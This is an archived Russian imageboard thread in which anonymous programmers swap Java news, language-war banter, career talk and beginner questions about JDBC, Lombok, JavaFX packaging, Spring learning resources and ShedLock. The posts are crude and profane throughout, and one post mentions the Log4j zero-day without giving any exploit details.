Этого треда уже нет.
Это копия, сохраненная 11 июля 2022 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
image.png345 Кб, 808x808
Java #106 thread /java/ 2232293 В конец треда | Веб
Актуальная шапка: https://github.com/EightM/JavaBackendStartGuide

Предыдущий: >>2159705 (OP)
image.png170 Кб, 421x468
2 2232296
Мертвый тред умирающей платформы.
3 2232297
ШАПКА НЕ НУЖНА
4 2232299
>>232293 (OP)
Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе.
Просто сравните джаву с .NET (https://devblogs.microsoft.com/dotnet/announcing-net-6/), который создавался как клон джавы и превратился в прекрасного лебедя
5 2232302
Теперь в джаве будет встроенный http server. Ну то есть он и раньше был, еще с 2006 года, но им никто не пользовался и вообще он был спрятан на задворках стандартной либы. Зато сейчас его решили немножко обновить его API и сделать на нем консольную утилиту.

https://openjdk.java.net/jeps/408
6 2232303
>>232302
Вальгалла когда? Лум когда? Спринг 6 когда? Какой сервер бля?
7 2232308
>>232302
Двигаются в правильном направлении.
image.png42 Кб, 487x301
8 2232310
>>232303

>Лум когда



Леха Шипилев говорил осенью, что до лума еще далековато.
К слову, следующий LTS здесь предполагался как 23 версия. Сейчас сроки сократили и LTS должна стать уже 21 версия. Может как раз к 25 версии джавы и завезут полноценно этот лум.

>>232303

>Вальгалла когда?


А этого никто не знает. Но судя по мейл листам, они там что-то обсуждают, а значит вальгалла не заброшена.

Может быть как раз к 25 версии (через 4 года?) выкатят все их фичи, которые они пилили на протяжении последних 10 лет.
9 2232311
>>232303
уже всё данным давно сделано в лучшей жабе
10 2232314
Чтож, сидим дальше на 8 жабе времен крымнаша и донбасса до 2030 года
sage 11 2232326
Ну что, опхуй, понял последствия переката?
12 2232327
Я - тупая макака, худо-бедно знающая Джаву. Появилась такая задача. У некоторого программного продукта есть REST-Server с описание его REST-api, там куча всевозможных ХТТП-запросов описано, респонзов к ним и как все это парсить. Так вот, нормально ли использовать Java для того чтобы разрабатывать клиент к этому ресту, или есть какие-то более разумные способы с этим работать? Ну и какой фреймворк надо изучать чтоб это решить (какую часть Спринга например).
13 2232331
Выживаем то бамп лимита
sage 14 2232332
>>232331
Не забывайте постить с сажей.
sage 15 2232342
>>232332
Да, отклеилась в новом треде
16 2232345
>>232299
Неплохо, из c# делают перегруженный c++
17 2232347
В каких РФ конторах платят 300+ джавистам? Реально запрыгнуть на такую зп за 2-3 года спустя вката?
sage 18 2232352
>>232345
Так с++ и сам по себе перегруженный, куда дальше?
sage 19 2232353
>>232347
Предположу, что там, где джависты пишут на скале.
20 2232364
Куда вкатываться?

https://strawpoll.com/w4crg6d7k
21 2232378
Посоветуйте пожалуйста литературу/курсы для автоматизации на жаве.
22 2232398
>>232352
Попытка сделать серебряную пулю
23 2232457
>>232364
Говорят в го в беке нужно велосипеды писать по сравнению со спрингом.
А чего там нету? Слышал только, что там без орм пишут.
24 2232504
Гайз, кто шарит. Есть один фронт, который делает запрос к бд, бд отдаёт данные фронту, после чего фронт отправляет те же самые данные на уже другую обработку бэку и бэк отправляет еще раз модифицированные данные фронту. У меня сейчас это всё делается последовательно, а я хочу, чтобы фронт делал запрос - ему присылались сначала одни данные, а потом другие. Как это реализовать можно по-быстрому? Либо где про это почитать?
25 2232509
>>232296
Стабильный тред стабильного языка, работа стабильно будет
26 2232511
>>232378
Вопрос какой-то идиотский.
Могут быть книги либо по автоматизации, либо по джаве. Читаешь обе темы и связываешь. Любой язык это и есть автоматизация, блять.
27 2232513
>>232457
Я и на ждаве без орм пишу. Заебок себя ощущаю. Доходило то того что писал самодельный днище-орм, правда. Когда надоело бомбить базу кучей однотипных круд-запросов
sage 28 2232524
>>232513
Хоть с Apache DbUtils?
29 2232536
>>232511
Т9 срезал текст, по автоматизации тестирования, прошу прощения
30 2232544
>>232524
Нет, просто пишешь запрос в стрингу, хуяришь из него препаред стейтмент и пушишь на сервак, который в ответ тебе высирает рекорд-сет. Мякотка.
sage 31 2232551
>>232544
Как управляешь пулом соединений?
32 2232560
>>232551
Никак. Драйвер и СУБД делают всю эту поебень для тебя (уж не знаю кто там из них рулит процессом, мне не приходилось вникать потому что ни разу с той стороны не появлялось каких-то проблем). Ты просто создаешь коннешкшен и держишь его сколько считаешь нужным, за время его существования ты можешь запустить сколько угодно отдельных транзакций произвольной длины. Можешь хоть на каждую транзакцию создавать новый коннекшен.
33 2232562
>>232551
Олсо, если ты про работу одновременно с несколькими соединениями из одного треда или из соседних, то тоже не понимаю в чем там может быть проблема. Коннекшен это отдельный объект и вроде никакого статик-стейта разделяемого там нет, по крайней мере для клиентского кода.
34 2232572
>>232364
Ну как? Кто победил?
35 2232614
>>232513
Чел, ну причем тут ты. Ты может петы пишешь. Или просто ты единолично принимаешь решения по технологиям. Но в подавляющем большинстве спринговых вакансий есть орм и чаще всего это jpa-орм.
sage 36 2232616
>>232614
И чаще всего это хибер
37 2232619
>>232572
Владимир Владимирович
38 2232629
>>232310
Почему сраный оракл ебет мозг аудитории этими большими проектами уже 5 лет, но шарящие люди говорят, что еще 5 лет их не стоит ждать?
Зачем эти пидорасы все анонсируют и нихуя не выпускают?
39 2232632
>>232614
Ну я про то что это не необходимо.
И это не петы, это моя реальная работа
40 2232652
Если я пишу
for (...) {
int k = ...;
}

то это будет хуже, чем
int k;
for (...) {
k = ...;
}

из-за того, что каждый раз в цикле будет под переменную память выделяться?
sage 41 2232660
>>232652
Да вы заебали бля, с такими вопросами пиздуйте в кресты, это именно там высирают новые парадигмы, чтобы ускорить говно на 0.00000001%, а здесь это никого ебать не должно.
JIT оптимизирует, и разницы не будет
42 2232666
>>232632
чел, все современные языки умеют очень много. И у каждого миллион потенциальных кейсов применения. Так то можно использовать хаскель на беке или делфи. Можно писать на жабке в блокноте. Можно вообще не использовать никаких бд. И все это можно делать в проде. "Необходимо" из-за ограничений языка не так много.
Но ведь нас интересуют типичные случаи. И твой случай с жабой без орм очень не типичен.
43 2232668
>>232652
В том виде, что ты высрал, это вообще семантически разные конструкции.
В первом случае это локальная переменная внутреннего скоупа, она будет создаваться и инициализироваться всегда в одном значении - гарантировано.
Во втором ты можешь накапливать в К что-то от цикла к циклу, например внешний индекс для foreach.
Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво. Во-первых, у тебя все равно остается инструкция по ее обнулению, а во-вторых ты пытаешься программировать через побочные эффекты, а это как правило всегда хуёво, потому что порождает лапшу, которую становится трудно дебажить, исправлять и развивать. ну и в-третьих, этот >>232660 прав. Крайне трудно что-то выиграть у оптимизатора, который допиливали очень умные дяди 20 лет. Даже если ты начнешь байтодрочить то скорее всего сможешь с ним максимум сравняться, а не выиграть. Как-то раз пытался "оптимизировать" кусок кода который казался довольно вычислительно трудным через битовые сдвиги и булевские битовые операции. В итоге бенчмаркнув все это выяснилось что скорость одинаковая. После того забил на такие попытки.
44 2232674
>>232668

>Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво.


В этом и был мой вопрос. Спасибо.
45 2232681
Если уж зашло про лоу-лвл, может кто знает, как размещается в память вложенный внутрь метода скоуп? Создается ли например для каждого прохода цикла for свой фрейм на стеке? Если нет, то куда размещаются локальные переменные цикла? Если да, то как обеспечивается видимость переменных out-скоупа?
47 2232703
>>232629
Потому что оракл сам по себе скатился в парашу и делает не продукты, а говно. Далеко ходить не надо - посмотрите на графики выручки гугла (govno), майкрософта (.net) и оракла. Оракл вообще не вырос за последние 10 лет никак. Туда же полудохлая IBM.
А чем больше денег у конторы и чем лучше она развивается, тем вероятнее, что у нее будут лучше продукты.
image.png55 Кб, 1292x761
48 2232720
Перепощу из ньюфага, вы тут джависты, люди серьезные.
Анончики, как проектировать такое в базе? Предположим, есть админка, в которой можно менеджерить кнопки. К каждой кнопке можно добавлять экшены. Но экшены эти могут быть разные (вебхук по определенному урлу, оплата и прочее), соответственно и таблицы с данными могут быть разными.
49 2232758
>>232720
У тебя уже нарисовано почти как надо. Каждый Action это какой-то один определенный Action, либо Payment, либо Webhook. Будет один к одному для них связь с Action, по action_id. Он же будет и PK для них, payment_action_id и т.п. не нужны.
50 2232759
Аноны, что по-вашему мнению перспективнее, бэкенд джавы или в мобильную разработку податься?
51 2232762
>>232759
go перспективнее, написали же выше
52 2232765
>>232758
Спасибо
53 2232771
>>232762
мне из джавы нужно выбрать, кое-что умею по ней уже, и не хочется опять что-то новое учить, нужно хотя бы один язык добить
54 2232779
>>232771
Новое придется и там, и там учить. Смотри, что больше хочешь делать
55 2232801
>>232759
Тоже на перепутье. Пока что выбрал мобилки, потому что просто интереснее этим заниматься.

В плане перспективности, кмк, разницы нет. В будущем легко можешь свичнуться на бэк, если потребуется. Или уйти в иос, или вообще кроссплатформу делать. Кароче разницы вообще никакой. И там и там работы дофига. В этом случае только по интересу выбирать.
56 2232879
>>232771
Тебе тогда в мойщики автомобилей или кассиры. Программист это одна из наиболее "учёбоемких" профессий. Либо ты учишься постоянно до конца карьеры чему-то, либо будешь червем-пидором на задворках индустрии, поддерживать какое-нибудь Delphi-7 говно на заводе полиэтиленовых стаканчиков с обвисшими обоями и протекающим потолком.
57 2232907
>>232879
Эй, сейчас на заводах почти все ушли от делфи к дотнету
58 2232932
>>232879
Да я другое имел в виду, тип я уже начал немного джаву изучать, и хочу дальше с ней разбираться, а не опять все бросать и изучать новый язык

>>232801
Спасибо за совет, анончик. Наверное тоже начну с мобилок, так как их наверно уж больше чем компов, будущее за мобилками
59 2232936
>>232801
Вот скажи откуда тебе знать что легко свичнуться из мобилок в веб? Раз на перепутье, значит вкатун. Откуда вкатуну знать такое? Возможно но не легко дауншифтингом заниматься. Это как спуститься с горы сотыг, чтобы снова лезть вверх с уровня джуна.
60 2232953
>>232936
Ему еще предстоит узнать, что на мобилках котлин основной язык уже лет пять и джаву он встретит только в легаси помоях
61 2233000
>>232936

>дауншифтингом


Хотя бы загугли перед употреблением нового слова. Не позорься.
62 2233006
>>233000
Аутистик, спок
63 2233017
>>233006
Что, оскорбили тебя, да? Бедняжечка какая, вы только посмотрите. Как выебываться на вкатуна, так он тут как тут, а как его оскорбляют от делает [пуксреньк]. Умора!

Чем слушать рандом-анона, лучше почитать в интернете уже готовые ответы. Например
https://dook.pro/blog/programming/19-moving-from-android-development-to-java-web-development
https://www.reddit.com/r/java/comments/6zjbwe/going_from_android_developer_to_java_developer/
https://www.reddit.com/r/androiddev/comments/7ntugq/how_relevant_is_android_experience_to_other/
image.png12 Кб, 150x270
64 2233120
>>232293 (OP)
Подскажите как сделать .exe? Юзается javaFX (и не только), если это важно.
Пробовал разные способы. Но ничего не вышло, кроме как насрать себе в штаны. Пробовал launch4j, который у меня не работает должным образом. После запуска .exe ничего не происходит, разве что прилично начинает грузиться процессор и крутиться колёсико загрузки рядом с курсором мышки. И если не убить процесс то ничего хорошего не последует.

Сам проект на java написан хорошо и протестирован. Всё как надо. В интернете, сами знаете, долбаёбы-советчики засрали тупыми гайдами как насрать себе в штаны.
sage 65 2233133
>>233120
Никак. Если тебе нужен полноценный исполняемый файл, ты выбрал не тот язык.
Можешь только юзануть jlink, у тебя будет папка с jvm и запускатором твоего жарника.
Ещё есть graalvm, но там не то что javafx - свинг не работает.
66 2233146
>>233120
Это надеюсь ты читал https://openjfx.io/openjfx-docs/
Там слева выбираешь свой случай
Если юзаешь гредл, то с jlink плагином в одну кнопку и инсталлятор и ехе получаются
67 2233147
>>232759
И там и там норм перспективы. Правда в андроиде придется сразу доучивать котлин.
Но ты лучше подумай, что тебе нравится. Большая часть андроида, это отрисовка гуя, то есть тот же фронт, но вид сбоку. А у бека - клепание крудов(запросов в бд) и отгрузка джейсонов на фронт.
Мне тупо фронт не нравится, я выбрал спринг. Но правда пришлось потом выучить основы html/css/js для более-менее вменяемых пет-проектов.
68 2233153
>>233146
>>233133

>jlink


Cпс. Это подойдёт. Уже нагуглил.
69 2233165
>>233153
С билде с javafx основная сложность что его оракл выпилил из своего jdk + создал jpms который нужен для jlink. То есть навали сразу две кучи говна. Рекомендую сначала по ссылке разобраться с билдом хелоу ворлда и только потом ебаться со своим проектом.
70 2233170
Мне тут никогда ничего не отвечали про что читать по спрингу, а я поделюсь опытом. Вот мои советы по изучению спринга:
Самое начало: di + mvc. Объяснено очень доходчиво для дебилов.
https://www.youtube.com/watch?v=5ePo08sqcpk&list=PLAma_mKffTOR5o0WNHnY0mTjKxnCgSXrZ
Полноценный курс, преподы вроде шарят, но многие не умеют говорить, так-что кое-что объяснено плохо. Но в плане курса есть все что нужно.
https://nnmclub.to/forum/viewtopic.php?t=1474084
Плохо написано, очень много устаревшего(но в джаве часто придется работать со старыми версиями библиотек). Не советую, но на всякий случай. Тоже охвачено почти все, что нужно новичку, но почти все примеры без бута.
https://rutracker.org/forum/viewtopic.php?t=5694169
Практика. К практике советовал бы переходить, после изучения mvc:
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
https://www.youtube.com/playlist?list=PLU2ftbIeotGqSTOVNjT4L3Yfy8jatCdhm
https://rutracker.org/forum/viewtopic.php?t=5640790
Для конкретных вопросов короткие туториалы с хеловордами:
Самая большая подборка всякого говна, не только спринг, очень полезно:
https://www.baeldung.com/
Тоже самое, но по русски и меньше. На этих двух ресурсах начинал учить хибер:
https://easyjava.ru/
https://sysout.ru/
Ну и гайды доки само собой:
https://spring.io/guides

Натыкался на другие места. Но зашли эти. Везде можно скачать код. Или с гита или архивом.
71 2233194
Сейчас заметил что у меня в проекте есть класс с пятью приватными полями,поля не final. Над классом стоит аннотация Data. Почему я могу создать объект этого класса через хттп запрос? Конструктора то нет,а дата генерит конструктор только для private final полей
sage 72 2233227
>>233194
Да уж, загадка века.
73 2233259
>>233147
Спасибо анон, обдумаю все, сейчас разработчик Bi, но думаю перекатываться, а то как-то уныло здесь
sage 74 2233303
>>233194
Data генерит RequiredArgsConstructor. А RequiredArgs генерит конструктор для final и NonNull полей. Тк таких не имеется, должен сгенериться пустой конструктор
в идее есть деломбок
75 2233329
>>232293 (OP)

>шапка в гит-репе


мое уважение, хоть кто-то в этой помойке с мозгами.
76 2233408
>>232509

> работа стабильно будет


Так и на заводике стабильно будет. Че в 2021 мало языков, на которых можно найти работу? Наоборот джава настолько древнее и тупое говно, что в скором времени все сайты начнут потихоньку перепиливать и через лет 15 будешь бомжевать. Не думаешь же ты всерьез что на этом говне легаси просуществует еще хотя бы 20 лет
77 2233411
>>233408
И если это единственный фактор - или в джаваскрипт, вот уж что точно не вымрет за сотню лет
78 2233415
Ну шо, кто уже пробовал Fleet? Есть возможность переехать с идеи туда?
sage 79 2233416
>>233415
А нахуя?
80 2233419
>>233408

>жава


>сайты


Вы конечно очень компетентны в обсуждаемом вопросе, и вас стоит послушать...
sage 81 2233421
>>233416
Так идея тормозит на 32 гига @ i7 @ SSD
82 2233426
>>233421
И поэтому у тебя 2 гига, селерон, HDD
Ведь если результат одинаков, то зачем платить больше!
83 2233430
>>233426

> 2 гига @ селерон @ HDD


Там идея тупо не запускается, проверено.
sage 84 2233432
>>233421
Во fleet та же идея, только либо у тебя (и так же не запускается), либо на сервере у китайцев, которые воруют твой код, и при этом любое действие в редакторе имеет задержку ~500мс.
85 2233437
>>233430
Ну хуй тебя знает, в инторнетах каждый горазд пиздеть. Вдруг у тебя в винде поломались обновляения и винда постоянно их качает и шуршит диском. Или ты пямять неудачно воткнул в слоты. Иди ссд пошел по пизде уже. Да мало ли чо, а ты винишь идею.
sage 86 2233440
>>233437
А что ещё винить, если всё летает, игры играются на максималках, браузер с 50 вкладками запускается мгновенно, а идея не может переварить даже хеллоуворлд на спрингбуте.
87 2233443
>>233440
нетхак запускается на максималках, интернет эксплорер 7 с 50 вкладками запускается мгновенно...
88 2233447
>>233443
Да, охуенно сидеть на xp в 2021.
89 2233475
А где этот ваш CS поучить можно на базовом уровне?
sage 90 2233476
>>233475
В Университете.
91 2233478
У кого нибудь итт была зп 300-500к или это всё сказки?
92 2233575
>>233408

>в скором времени все сайты начнут потихоньку перепиливать


Слышу это уже наверное лет 15, если не больше...
93 2233582
Oh shit I m sorry
Пропустил выпуск 17 лтс.
1) То есть сейчас по умолчанию все классы имеют strictfp? Это не уменьшило точность вычислений?
2) Какой сейчас новый рандом юзать в обычных случаях? Или оставаться на ThreadLocalRandom.current()
94 2233595
>>233478
С 500 может и сложнее, а 300 это сейчас что-то вроде нижней границы для сеньора, так что определенно была
1518448575820.jpg123 Кб, 599x733
95 2233639
>>233170
Спасибо, схоронил. Как раз курс Алишева досмотрел и не знал что дальше делать.
96 2233642
>>233639
А sweater делол?
97 2233662
>>233421
8 гб, кора дуба, внешний хдд, всё работает
98 2233665
>>233642
а что это?
99 2233670
>>233665
первый плейлист практики с фронтом на шаблонизаторе.
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
Самое оно тебе сейчас заточить. На шаблонизаторе не советовал бы заострять внимание, просто повторяй за челиком. Ну и то что не понимаешь спринг дату, спринг бут и прочее тоже ничего страшного, повторяй за ютубером, крути, верти. Потом теорию, потрогав это в режиме магии проходить будет легче.
100 2233680
>>233670
>>233642
Начинал это смотреть. В сравнении с Алишевым выбесило что он вообще ничего не говорит что делает зато у Алишева бесит что он одно и то же может повторять три раза и рассказывает даже то что и собаке понятно, в итоге как показалось все часы его видео не дают и 5% объема нужных знаний, просто копипастит из спринг мануала или набивает со словами "забейте, пока понимать ниче не надо, ваше дело увидеть что все работает, потом разберемся по ходу". Может конечно я ровно 3 минуты не дошел до того места где наконец начнет хоть что-то поясняться, но пока дропнул до лучших времен этот плейлист.
мимо-другой-вкатыш
101 2233695
Кто-нибудь Скалу в реальной жизни щупал (особенно 3-ю версию)?
Я на курсере уже парочку "официальных" курсов прошел и насколько же это приятный язык. Лаконичный стиль и вся встроенная библиотека работает без сюрпризов.
102 2233705
>>232293 (OP)
Как напугать кабана в пятницу? Вот так - https://news.ycombinator.com/item?id=29504755
103 2233764
https://www.lunasec.io/docs/blog/log4j-zero-day/

Че за хуйня? Почему какой-то логгер не просто выводит информацию в лог-файл или консоль, а еще дополнительно скачивает классы с байткодом из интернета? Нахуя так придумано?
Зачем и кому вообще нужен этот jndi и удаленный запуск чужого байткода?
sage 104 2233769
>>232703
Вот только в Джаву вкладывается еще куча компаний. И РедХат, и Гугл, и даже сам Майкрософт. А у дотнета нет такого большого списка контрибуторов.
image.png53 Кб, 1423x579
105 2233772
>>233769
Вот только редхат (теперь уже часть IBM) падает вниз вместе с самим IBM. А оркал вообще не растет.
Для гугла и MS, джава, очевидно, не самая приоритетная платформа на сегодняшний день.
106 2233775
Вообще судьба оракла, наверное, будет печальной.
Сейчас почти везде уходят с Oracle DB и MySQL на Postgres, их клауд платформа популярной так и не стала - AWS и GCP тут лидеры, на джаву они почему-то решили забить, а что еще они делают? ИМХО, их БД была топом в 90-е и нулевые, на нее всякие банки и энтерпрайзы перешли, но сейчас те времена закончились, буквально везде и у каждого стоит postgres.
Screenshot from 2021-12-10 11-23-03.png232 Кб, 1920x1080
107 2233785
>>233772
IBM вообще сдох сейчас, считайте можно поминки собирать. Оракл как-то пытается в рост, но получается так себе.
Гугл и МС, конечно, нихуево так выросли за последние годы.
sage 108 2233789
>>233772

>2k21


>Оценивать прибыль по капитализации


Но даже если Мелкософт прибыльная компания, это не значит что они будут массово вбухивать деньги в дотнет. Они давно ушли от стратегии обязательно разрабатывать свой велосипед. Вон похоронили свой EdgeHTML в пользу Хрома, сейчас активно развивают питон и WSL. Так что далеко не факт, что они будут вкладывать сильно много в дотнет. У них сейчас главную прибыть облако генерирует, а там дотнет не особо нужен.

Гугл стабильно в топ3 контрибуторов. У них джава основной язык для написания бекенда не веришь, приди к ним на интервью и спроси сам
sage 109 2233790
>>233772
Кстати еще у Амазона основной язык тоже джава.
110 2233791
>>233785

>IBM вообще сдох сейчас


Они с гитлером торговали кстати. Счетные машины для учета семитов.
111 2233792
>>233789
Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.

У гугла много всего было написано на джаве, да, даже включая фронтенд GWT. Сейчас они в пользу С++ и гоуленга отказались от жабы.

>>233790
Да, и у нетфликса тоже, но не забывай, что hystrix и все что с ним связано, уже как пару лет депрекейтнули, на чем сейчас там пишут - не в курсе.
Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
112 2233800
>>233792
К тому времени пхп станет жавой, со знаком доллара перед переменной, что символизирует изменчивость гешефта...
113 2233802
>>233800
PHP, Java, .NET - это все уже уходящая эпоха. Ну может дотнет поболтается еще несколько лет и отправится в историю вместе с джавой, как это уже происходило с делфи.

Сейчас на беке будет golang, node.js и python, ибо микросервисы, быстрый старт, малый оверхед по памяти.
sage 114 2233803
>>233792

>Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.


А у ГОвна основной контрибутор Гугл, а уж как Гугл умеет хоронить проекты мы все знаем. А у Питона вообще не было такого контрибутора до недавнего времени и тем не менее он очень неплохо развивался.

>Сейчас они в пользу С++ и гоуленга отказались от жабы.


На С++ только системные вещи пишутся типа баз данных и файловых систем. Бизнес приложения на жабке. А вот Говна они похоже наелись ни ООП нормального, ни функционально подхода в полный рост.

>Но факт остается фактом, что JVM как платформа начала конкретно загибаться.


Про это уже лет 10 пишут. И все аргументы из серии а вот сисярпе ууу, а вот в питоне ааа. Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв.
115 2233813
>>233792
Не будет микросервисов ибо они все велосипеды, а велосипеды способны только большие компании содержать. Посмотрят кабаны, когда велосипеды станут вонючим легаси, что их никто не хочет поддерживать и разочаруются и вернутся на жирные фреймворки для новых проектов. Да будет так...
116 2233817
>>233803

>Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв


Так с Java 8 все развитие остановилось по факту. Ну да, там новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет? ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут? Это самые важные нововведения в жабе, которые должны были быть уже 17 lts версии.

>>233813
Но тем не менее на микросервисах стали писать уже на жабе. И вообще сейчас все стартуют на микросервисах. А то, что весь этот набор сервисов и костылей из говна и палок превратится в тяжело поддерживаемое легаси - никого не ебет, просто сдохнет один стартап или умрет продукт в какой-нибудь большой конторе, всем тотально похуй. Как будто бы большая часть продуктов реально приносит прибыль, а не просто создана для сбора инвестиций от всяких кабанов, которым лишь бы деньги куда-нибудь запихнуть.
117 2233819
118 2233826
>>233817
Может они боятся что эти крупные проекты все сломают нахер, как получилось с ненужным джигсау.
119 2233842
Хочу протестировать делит метод. Есть заготовленный лист с двумя адресами,хочу при вызове сервис.удалитьАдрес() удалять из листа.
Конструкция
when(addressService.deleteAddress(address).then(addressList.remove(address))

Шлет меня нахуй по понятным причинам,как провернуть такой тест? Или же как лучше тестировать делит метод сервиса
sage 120 2233849
>>233842
Если ты тестируешь deleteAddress у сервиса, то тебе не нужно его мокать. Мокать нужно то, что вызывается в этом методе, но сам метод должен быть настоящим
121 2233851
>>233849
Звучит разумно,как это реализовать подскажите пожалуйста
122 2233863
>>233575
15 лет назад ясен хуй было еще рано, еще лет 7 и ПОЧАЛОСЯ
123 2233868
>>233849
То есть вместо

@Mock
Service

Делать

@Autowired
Service
???

мимо вкатыш
124 2233893
Третьего дня, по совету проверенных камрадов, приобрёл подписку в онлайн школе программирования — «Javarush». Сразу же, задыхаясь от жадности, открыл сайт и прочитал первую лекцию. Информативность, моё почтение. Настоящие гении писали эти сценарии к лециям. Даже моя, привыкшая к суровым игровым будням, голова, отказывалась всё понимать с первого раза. Совместными с вкатывальщиками в комментах усилиями забороли лекцию. Ощущения — АТАС. С выигранной каткой в доте не идёт ни в какое сравнение. Кроме того, ЧСВ приятно начинает подниматься. Прокодил так весь день. Решительно готов к вкату в ИТ.
Многие вкаиывальщики увидят тут проявления слабохарактерности. Тупым детям невдомёк, что учиться самостоятельно и на курсах — это разные вещи.
Сайт отличный, всем рекомендую к приобретению.
Всё это, как водится, реклама.
sage 125 2233894
>>233817

>foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет?


Нет не хуйня, для хайлоода это важные вещи. То что раньше ручками в offheap ByteBuffer складывали или через Unsafe хакали - теперь делается через нормальный API, с поддержкой JIT и типобезопасности. ZGC показывает отличный перфоманс на огромных хипах. Векторное API добавили. Плюс там есть внутренний рефакторин, типа тех же сокетов. Граль уже более стабильный, мы в конторе уже начинаем тесты нативных сборок.

>ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут?


Да нет, но тут нужно сделать так чтобы не поломать нахер все. Они сами себя загнали в ловушку с этими релизами каждые пол года. Если бы остановили разработку других фич и все силы на Лум бросили, то наверное и за год бы сделали. Но когда у тебя постоянно добавляются новые фичи в GC, очень сложно делать такие вещи как Лум или Вальгала.
Можно подумать что в дотнет какие-то глобальные фичи добавляются каждый день. Если посмотреть What's new in .NET https://docs.microsoft.com/en-us/dotnet/core/whats-new/dotnet-6 - там сплошь новый сахар для сисярпа и всякая мелоч типа тут улучшили перфоманс, тут у нас новый кодген, а в некоторых релизах вообще только сахар и никаких изменений в рантайме.
Или у нас Говно фонтанирует большими новыми фичами? Да тоже нет https://go.dev/doc/go1.17 напилили какой-то херни для стрельбы в ногу и всё а рантайм вообще не менялся.
Или может в жопаскрипт нормальную типизацию подвезли тайп скрипт это такие же костыли как и дженерики в джаве?
126 2233901
>>233817

> новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ


Откуда ты всё это знаешь? Где ты эту информацию берёшь?
1407520883877.jpg24 Кб, 400x386
127 2233909
>>233894

> мелоч


> улучшили перфоманс

128 2233912
>>233868
Хорошо что пояснил, а то я подумал мидл спрашивает.
129 2233915
>>233901
Не задавай лишних вопросов.
130 2233923
>>233912
Пердеть жидким калом с гавном хихиххи))))
131 2233925
>>233923
Не ожидал встретить итт своего лида.
132 2233927
>>233925
Хватит на дваче сидеть,или вкатышам помоги
sage 133 2233931
>>233909
В JDK каждый релиз вносят улучшения в JIT. Но местные иксперты все равно рассказывают, что джава не равивается и вообще нужно на сисярп/говно/жопаскрипт переходить.
134 2233934
>>233931
Они траллят просто.
135 2233936
>>233931
Все равно никто не использует новые версии, а сидят на 8.

>нужно на сисярп/говно/жопаскрипт переходить


Да, нужно
136 2233940
>>233680
Так он ине будет ничего пояснять. Просто трогаешь технологии в режиме магии, а потом их изучаешь в другом месте.
137 2233950
>>233940
Ну и нахуй их тогда трогать вообще? Трогай сразу где будешь изучать. У Алишева например довольно полное погружение с пояснениями, хоть в итоге и охвачен какой-то мизер, но зато нормально +/-
138 2233954
>>233680
Поздно вкатываться.
sage 139 2233976
>>233868
Зачем тебе поднимать контекст?
Просто делай
Service s = new Service()
140 2234039
Нужно хранить аватарки локально: в папке resources проекта или в аргументах командной строки указывать путь к папке на диске?
sage 141 2234098
>>234039
Голову включи
sage 142 2234106
>>234039
Ресурсы ридонли
Если это какие-то стандартные аватарки, которые надо показывать и не надо изменять, можно и в ресурсы. Но если юзеры могут грузить свои, ла, придётся создавать папку и брать путь к ней из какого-нибудь конфига. Или хранить аватарки в БД.
143 2234110
>>234106
Понял.
144 2234166
>>233764
Очевидный бэкдор, не зря это говно полтора калеки юзало
145 2234191
>>233954
Спринг все?
sage 146 2234210
>>234191
Спринг давно уж все.
147 2234227
>>234210
Все что?
148 2234230
>>234210
Нет, не всё. Анало говне т.
149 2234287
Аноны, я чет отупел максимально. Надо настроить @Scheduled так, чтобы работал только на одном инстансе. Нашел библиотеку ShedLock, но не понимаю что нужно указывать в lockAtLeastFor и lockAtMostFor и надо ли.

Допустим, моя таска выполняется каждые 5 минут, выполнение этой таски занимает 1 секунду. Что надо писать в эти поля, чтобы другие инстансы не выполняли эту же самую джобу?
sage 150 2234290
>>234287
Какие нахуй инстансы?
sage 151 2234296
>>234287
Юзай quartz. Даже интеграция со спрингом есть
sage 152 2234299
>>234287
>>234296
Сорре, херню высрал. Шедлок это альтернатива кварцу
153 2234300
>>234290
Двачую.
154 2234304
>>234296
Сложна, непонятно, не нужно. У меня не дохуя запланированных задач, всего одна, сложной логики там никакой нет
>>234290
Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь
sage 155 2234305
>>234304

>Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь


И как ты их синхронизируешь между собой?
sage 156 2234306
>>234290
>>234300
Горизонтальное масштабирование.
Копии приложения запускаются на нескольких машинах, чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс
157 2234307
>>234304
Балансировщик нагрузки какой используешь? Zookeeper?
158 2234308
>>234306

>чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс


Благодарю за объяснение! Сколько лет в профессии, если не секрет?
159 2234310
>>234305
>>234307
Никак, нихуя не использую, пока по одному инстансу каждого приложения запущены
sage 160 2234312
>>234308
Меньше года
161 2234318
Епту бля вы нахуя левые вопросы задаете, ответьте сука максимально просто – что писать в lockAtLeastFor и lockAtMostFor?
sage 162 2234319
>>234310
Ну так озаботься этим вопросом. Ответ на твой изначальный вопрос получишь автоматически.
163 2234323
>>234319
